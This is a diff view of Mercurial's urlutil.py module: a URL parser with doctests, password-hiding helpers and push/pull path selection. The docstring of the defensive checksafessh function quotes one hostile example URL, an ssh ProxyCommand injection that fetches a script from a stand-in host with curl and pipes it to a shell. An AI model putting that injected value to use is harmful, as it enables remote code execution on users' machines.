3374 Number of threads to process background file closes. Only relevant if
3346 ``backgroundclose`` is enabled.
3375 ``backgroundclose`` is enabled.
3347 (default: 4)
3376 (default: 4)
@@ -1,972 +1,996 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27 from ..revlogutils import (
28 constants as revlog_constants,
29 )
30
27
31
28 if pycompat.TYPE_CHECKING:
32 if pycompat.TYPE_CHECKING:
29 from typing import (
33 from typing import (
30 Union,
34 Union,
31 )
35 )
32
36
33 urlreq = urllibcompat.urlreq
37 urlreq = urllibcompat.urlreq
34
38
35
39
36 def getport(port):
40 def getport(port):
37 # type: (Union[bytes, int]) -> int
41 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
42 """Return the port for a given network service.
39
43
40 If port is an integer, it's returned as is. If it's a string, it's
44 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
45 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
46 service, error.Abort is raised.
43 """
47 """
44 try:
48 try:
45 return int(port)
49 return int(port)
46 except ValueError:
50 except ValueError:
47 pass
51 pass
48
52
49 try:
53 try:
50 return socket.getservbyname(pycompat.sysstr(port))
54 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
55 except socket.error:
52 raise error.Abort(
56 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
57 _(b"no port number associated with service '%s'") % port
54 )
58 )
55
59
56
60
57 class url:
61 class url:
58 r"""Reliable URL parser.
62 r"""Reliable URL parser.
59
63
60 This parses URLs and provides attributes for the following
64 This parses URLs and provides attributes for the following
61 components:
65 components:
62
66
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
68
65 Missing components are set to None. The only exception is
69 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
70 fragment, which is set to '' if present but empty.
67
71
68 If parsefragment is False, fragment is included in query. If
72 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
73 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
74 False, both fragment and query are included in path.
71
75
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
77
74 Note that for backward compatibility reasons, bundle URLs do not
78 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
79 take host names. That means 'bundle://../' has a path of '../'.
76
80
77 Examples:
81 Examples:
78
82
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
87 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
88 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
89 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
90 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
91 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
92 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
93 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
94 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
95 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
96 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
97 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
98 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
99 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
101 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
102 <url scheme: 'file', path: 'C:\\users\\me'>
99
103
100 Authentication credentials:
104 Authentication credentials:
101
105
102 >>> url(b'ssh://joe:xyz@x/repo')
106 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
108 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
110
107 Query strings and fragments:
111 Query strings and fragments:
108
112
109 >>> url(b'http://host/a?b#c')
113 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
117
114 Empty path:
118 Empty path:
115
119
116 >>> url(b'')
120 >>> url(b'')
117 <url path: ''>
121 <url path: ''>
118 >>> url(b'#a')
122 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
123 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
124 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
125 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
126 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
128
125 Only scheme:
129 Only scheme:
126
130
127 >>> url(b'http:')
131 >>> url(b'http:')
128 <url scheme: 'http'>
132 <url scheme: 'http'>
129 """
133 """
130
134
131 _safechars = b"!~*'()+"
135 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
136 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
138
135 def __init__(self, path, parsequery=True, parsefragment=True):
139 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
140 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
141 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
142 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
143 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
144 self._localpath = True
141 self._hostport = b''
145 self._hostport = b''
142 self._origpath = path
146 self._origpath = path
143
147
144 if parsefragment and b'#' in path:
148 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
149 path, self.fragment = path.split(b'#', 1)
146
150
147 # special case for Windows drive letters and UNC paths
151 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
153 self.path = path
150 return
154 return
151
155
152 # For compatibility reasons, we can't handle bundle paths as
156 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
157 # normal URLS
154 if path.startswith(b'bundle:'):
158 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
159 self.scheme = b'bundle'
156 path = path[7:]
160 path = path[7:]
157 if path.startswith(b'//'):
161 if path.startswith(b'//'):
158 path = path[2:]
162 path = path[2:]
159 self.path = path
163 self.path = path
160 return
164 return
161
165
162 if self._matchscheme(path):
166 if self._matchscheme(path):
163 parts = path.split(b':', 1)
167 parts = path.split(b':', 1)
164 if parts[0]:
168 if parts[0]:
165 self.scheme, path = parts
169 self.scheme, path = parts
166 self._localpath = False
170 self._localpath = False
167
171
168 if not path:
172 if not path:
169 path = None
173 path = None
170 if self._localpath:
174 if self._localpath:
171 self.path = b''
175 self.path = b''
172 return
176 return
173 else:
177 else:
174 if self._localpath:
178 if self._localpath:
175 self.path = path
179 self.path = path
176 return
180 return
177
181
178 if parsequery and b'?' in path:
182 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
183 path, self.query = path.split(b'?', 1)
180 if not path:
184 if not path:
181 path = None
185 path = None
182 if not self.query:
186 if not self.query:
183 self.query = None
187 self.query = None
184
188
185 # // is required to specify a host/authority
189 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
190 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
191 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
192 if len(parts) > 1:
189 self.host, path = parts
193 self.host, path = parts
190 else:
194 else:
191 self.host = parts[0]
195 self.host = parts[0]
192 path = None
196 path = None
193 if not self.host:
197 if not self.host:
194 self.host = None
198 self.host = None
195 # path of file:///d is /d
199 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
200 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
201 if path and not hasdriveletter(path):
198 path = b'/' + path
202 path = b'/' + path
199
203
200 if self.host and b'@' in self.host:
204 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
205 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
206 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
207 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
208 if not self.host:
205 self.host = None
209 self.host = None
206
210
207 # Don't split on colons in IPv6 addresses without ports
211 # Don't split on colons in IPv6 addresses without ports
208 if (
212 if (
209 self.host
213 self.host
210 and b':' in self.host
214 and b':' in self.host
211 and not (
215 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
216 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
217 )
214 ):
218 ):
215 self._hostport = self.host
219 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
220 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
221 if not self.host:
218 self.host = None
222 self.host = None
219
223
220 if (
224 if (
221 self.host
225 self.host
222 and self.scheme == b'file'
226 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
228 ):
225 raise error.Abort(
229 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
230 _(b'file:// URLs can only refer to localhost')
227 )
231 )
228
232
229 self.path = path
233 self.path = path
230
234
231 # leave the query string escaped
235 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
237 v = getattr(self, a)
234 if v is not None:
238 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
239 setattr(self, a, urlreq.unquote(v))
236
240
237 def copy(self):
241 def copy(self):
238 u = url(b'temporary useless value')
242 u = url(b'temporary useless value')
239 u.path = self.path
243 u.path = self.path
240 u.scheme = self.scheme
244 u.scheme = self.scheme
241 u.user = self.user
245 u.user = self.user
242 u.passwd = self.passwd
246 u.passwd = self.passwd
243 u.host = self.host
247 u.host = self.host
244 u.port = self.port
248 u.port = self.port
245 u.query = self.query
249 u.query = self.query
246 u.fragment = self.fragment
250 u.fragment = self.fragment
247 u._localpath = self._localpath
251 u._localpath = self._localpath
248 u._hostport = self._hostport
252 u._hostport = self._hostport
249 u._origpath = self._origpath
253 u._origpath = self._origpath
250 return u
254 return u
251
255
252 @encoding.strmethod
256 @encoding.strmethod
253 def __repr__(self):
257 def __repr__(self):
254 attrs = []
258 attrs = []
255 for a in (
259 for a in (
256 b'scheme',
260 b'scheme',
257 b'user',
261 b'user',
258 b'passwd',
262 b'passwd',
259 b'host',
263 b'host',
260 b'port',
264 b'port',
261 b'path',
265 b'path',
262 b'query',
266 b'query',
263 b'fragment',
267 b'fragment',
264 ):
268 ):
265 v = getattr(self, a)
269 v = getattr(self, a)
266 if v is not None:
270 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
272 return b'<url %s>' % b', '.join(attrs)
269
273
270 def __bytes__(self):
274 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
275 r"""Join the URL's components back into a URL string.
272
276
273 Examples:
277 Examples:
274
278
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
282 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
284 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
286 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
287 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
288 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
289 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
290 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
291 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
292 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
293 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
294 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
295 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
296 'bundle:../foo'
293 >>> bytes(url(b'path'))
297 >>> bytes(url(b'path'))
294 'path'
298 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
299 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
300 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
302 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
303 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
304 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
305 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
306 file:///D:\data\hg
303 """
307 """
304 if self._localpath:
308 if self._localpath:
305 s = self.path
309 s = self.path
306 if self.scheme == b'bundle':
310 if self.scheme == b'bundle':
307 s = b'bundle:' + s
311 s = b'bundle:' + s
308 if self.fragment:
312 if self.fragment:
309 s += b'#' + self.fragment
313 s += b'#' + self.fragment
310 return s
314 return s
311
315
312 s = self.scheme + b':'
316 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
317 if self.user or self.passwd or self.host:
314 s += b'//'
318 s += b'//'
315 elif self.scheme and (
319 elif self.scheme and (
316 not self.path
320 not self.path
317 or self.path.startswith(b'/')
321 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
322 or hasdriveletter(self.path)
319 ):
323 ):
320 s += b'//'
324 s += b'//'
321 if hasdriveletter(self.path):
325 if hasdriveletter(self.path):
322 s += b'/'
326 s += b'/'
323 if self.user:
327 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
328 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
329 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
331 if self.user or self.passwd:
328 s += b'@'
332 s += b'@'
329 if self.host:
333 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
335 s += urlreq.quote(self.host)
332 else:
336 else:
333 s += self.host
337 s += self.host
334 if self.port:
338 if self.port:
335 s += b':' + urlreq.quote(self.port)
339 s += b':' + urlreq.quote(self.port)
336 if self.host:
340 if self.host:
337 s += b'/'
341 s += b'/'
338 if self.path:
342 if self.path:
339 # TODO: similar to the query string, we should not unescape the
343 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
344 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
345 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
346 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
347 if self.query:
344 # we store the query in escaped form.
348 # we store the query in escaped form.
345 s += b'?' + self.query
349 s += b'?' + self.query
346 if self.fragment is not None:
350 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
352 return s
349
353
350 __str__ = encoding.strmethod(__bytes__)
354 __str__ = encoding.strmethod(__bytes__)
351
355
352 def authinfo(self):
356 def authinfo(self):
353 user, passwd = self.user, self.passwd
357 user, passwd = self.user, self.passwd
354 try:
358 try:
355 self.user, self.passwd = None, None
359 self.user, self.passwd = None, None
356 s = bytes(self)
360 s = bytes(self)
357 finally:
361 finally:
358 self.user, self.passwd = user, passwd
362 self.user, self.passwd = user, passwd
359 if not self.user:
363 if not self.user:
360 return (s, None)
364 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
365 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
366 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
367 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
368 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
370
367 def isabs(self):
371 def isabs(self):
368 if self.scheme and self.scheme != b'file':
372 if self.scheme and self.scheme != b'file':
369 return True # remote URL
373 return True # remote URL
370 if hasdriveletter(self.path):
374 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
375 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
376 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
377 return True # Windows UNC path
374 if self.path.startswith(b'/'):
378 if self.path.startswith(b'/'):
375 return True # POSIX-style
379 return True # POSIX-style
376 return False
380 return False
377
381
378 def localpath(self):
382 def localpath(self):
379 # type: () -> bytes
383 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
384 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
385 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
386 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
387 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
388 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
389 path = self._hostport + b'/' + self.path
386 elif (
390 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
391 self.host is not None and self.path and not hasdriveletter(path)
388 ):
392 ):
389 path = b'/' + path
393 path = b'/' + path
390 return path
394 return path
391 return self._origpath
395 return self._origpath
392
396
393 def islocal(self):
397 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
398 '''whether localpath will return something that posixfile can open'''
395 return (
399 return (
396 not self.scheme
400 not self.scheme
397 or self.scheme == b'file'
401 or self.scheme == b'file'
398 or self.scheme == b'bundle'
402 or self.scheme == b'bundle'
399 )
403 )
400
404
401
405
402 def hasscheme(path):
406 def hasscheme(path):
403 # type: (bytes) -> bool
407 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
408 return bool(url(path).scheme) # cast to help pytype
405
409
406
410
407 def hasdriveletter(path):
411 def hasdriveletter(path):
408 # type: (bytes) -> bool
412 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
414
411
415
412 def urllocalpath(path):
416 def urllocalpath(path):
413 # type: (bytes) -> bytes
417 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
418 return url(path, parsequery=False, parsefragment=False).localpath()
415
419
416
420
417 def checksafessh(path):
421 def checksafessh(path):
418 # type: (bytes) -> None
422 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
424
421 This is a sanity check for ssh urls. ssh will parse the first item as
425 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
427 Let's prevent these potentially exploited urls entirely and warn the
424 user.
428 user.
425
429
426 Raises an error.Abort when the url is unsafe.
430 Raises an error.Abort when the url is unsafe.
427 """
431 """
428 path = urlreq.unquote(path)
432 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
434 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
436 )
433
437
434
438
435 def hidepassword(u):
439 def hidepassword(u):
436 # type: (bytes) -> bytes
440 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
441 '''hide user credential in a url string'''
438 u = url(u)
442 u = url(u)
439 if u.passwd:
443 if u.passwd:
440 u.passwd = b'***'
444 u.passwd = b'***'
441 return bytes(u)
445 return bytes(u)
442
446
443
447
444 def removeauth(u):
448 def removeauth(u):
445 # type: (bytes) -> bytes
449 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
450 '''remove all authentication information from a url string'''
447 u = url(u)
451 u = url(u)
448 u.user = u.passwd = None
452 u.user = u.passwd = None
449 return bytes(u)
453 return bytes(u)
450
454
451
455
452 def list_paths(ui, target_path=None):
456 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
457 """list all the (name, paths) in the passed ui"""
454 result = []
458 result = []
455 if target_path is None:
459 if target_path is None:
456 for name, paths in sorted(ui.paths.items()):
460 for name, paths in sorted(ui.paths.items()):
457 for p in paths:
461 for p in paths:
458 result.append((name, p))
462 result.append((name, p))
459
463
460 else:
464 else:
461 for path in ui.paths.get(target_path, []):
465 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
466 result.append((target_path, path))
463 return result
467 return result
464
468
465
469
466 def try_path(ui, url):
470 def try_path(ui, url):
467 """try to build a path from a url
471 """try to build a path from a url
468
472
469 Return None if no Path could built.
473 Return None if no Path could built.
470 """
474 """
471 try:
475 try:
472 # we pass the ui instance are warning might need to be issued
476 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
477 return path(ui, None, rawloc=url)
474 except ValueError:
478 except ValueError:
475 return None
479 return None
476
480
477
481
478 def get_push_paths(repo, ui, dests):
482 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
483 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
484 if not dests:
481 if b'default-push' in ui.paths:
485 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
486 for p in ui.paths[b'default-push']:
483 yield p.get_push_variant()
487 yield p.get_push_variant()
484 elif b'default' in ui.paths:
488 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
489 for p in ui.paths[b'default']:
486 yield p.get_push_variant()
490 yield p.get_push_variant()
487 else:
491 else:
488 raise error.ConfigError(
492 raise error.ConfigError(
489 _(b'default repository not configured!'),
493 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
494 hint=_(b"see 'hg help config.paths'"),
491 )
495 )
492 else:
496 else:
493 for dest in dests:
497 for dest in dests:
494 if dest in ui.paths:
498 if dest in ui.paths:
495 for p in ui.paths[dest]:
499 for p in ui.paths[dest]:
496 yield p.get_push_variant()
500 yield p.get_push_variant()
497 else:
501 else:
498 path = try_path(ui, dest)
502 path = try_path(ui, dest)
499 if path is None:
503 if path is None:
500 msg = _(b'repository %s does not exist')
504 msg = _(b'repository %s does not exist')
501 msg %= dest
505 msg %= dest
502 raise error.RepoError(msg)
506 raise error.RepoError(msg)
503 yield path.get_push_variant()
507 yield path.get_push_variant()
504
508
505
509
506 def get_pull_paths(repo, ui, sources):
510 def get_pull_paths(repo, ui, sources):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
512 if not sources:
509 sources = [b'default']
513 sources = [b'default']
510 for source in sources:
514 for source in sources:
511 if source in ui.paths:
515 if source in ui.paths:
512 for p in ui.paths[source]:
516 for p in ui.paths[source]:
513 yield p
517 yield p
514 else:
518 else:
515 p = path(ui, None, source, validate_path=False)
519 p = path(ui, None, source, validate_path=False)
516 yield p
520 yield p
517
521
518
522
519 def get_unique_push_path(action, repo, ui, dest=None):
523 def get_unique_push_path(action, repo, ui, dest=None):
520 """return a unique `path` or abort if multiple are found
524 """return a unique `path` or abort if multiple are found
521
525
522 This is useful for command and action that does not support multiple
526 This is useful for command and action that does not support multiple
523 destination (yet).
527 destination (yet).
524
528
525 The `action` parameter will be used for the error message.
529 The `action` parameter will be used for the error message.
526 """
530 """
527 if dest is None:
531 if dest is None:
528 dests = []
532 dests = []
529 else:
533 else:
530 dests = [dest]
534 dests = [dest]
531 dests = list(get_push_paths(repo, ui, dests))
535 dests = list(get_push_paths(repo, ui, dests))
532 if len(dests) != 1:
536 if len(dests) != 1:
533 if dest is None:
537 if dest is None:
534 msg = _(
538 msg = _(
535 b"default path points to %d urls while %s only supports one"
539 b"default path points to %d urls while %s only supports one"
536 )
540 )
537 msg %= (len(dests), action)
541 msg %= (len(dests), action)
538 else:
542 else:
539 msg = _(b"path points to %d urls while %s only supports one: %s")
543 msg = _(b"path points to %d urls while %s only supports one: %s")
540 msg %= (len(dests), action, dest)
544 msg %= (len(dests), action, dest)
541 raise error.Abort(msg)
545 raise error.Abort(msg)
542 return dests[0]
546 return dests[0]
543
547
544
548
545 def get_unique_pull_path_obj(action, ui, source=None):
549 def get_unique_pull_path_obj(action, ui, source=None):
546 """return a unique `(path, branch)` or abort if multiple are found
550 """return a unique `(path, branch)` or abort if multiple are found
547
551
548 This is useful for command and action that does not support multiple
552 This is useful for command and action that does not support multiple
549 destination (yet).
553 destination (yet).
550
554
551 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
552
556
553 note: Ideally, this function would be called `get_unique_pull_path` to
557 note: Ideally, this function would be called `get_unique_pull_path` to
554 mirror the `get_unique_push_path`, but the name was already taken.
558 mirror the `get_unique_push_path`, but the name was already taken.
555 """
559 """
556 sources = []
560 sources = []
557 if source is not None:
561 if source is not None:
558 sources.append(source)
562 sources.append(source)
559
563
560 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
561 path_count = len(pull_paths)
565 path_count = len(pull_paths)
562 if path_count != 1:
566 if path_count != 1:
563 if source is None:
567 if source is None:
564 msg = _(
568 msg = _(
565 b"default path points to %d urls while %s only supports one"
569 b"default path points to %d urls while %s only supports one"
566 )
570 )
567 msg %= (path_count, action)
571 msg %= (path_count, action)
568 else:
572 else:
569 msg = _(b"path points to %d urls while %s only supports one: %s")
573 msg = _(b"path points to %d urls while %s only supports one: %s")
570 msg %= (path_count, action, source)
574 msg %= (path_count, action, source)
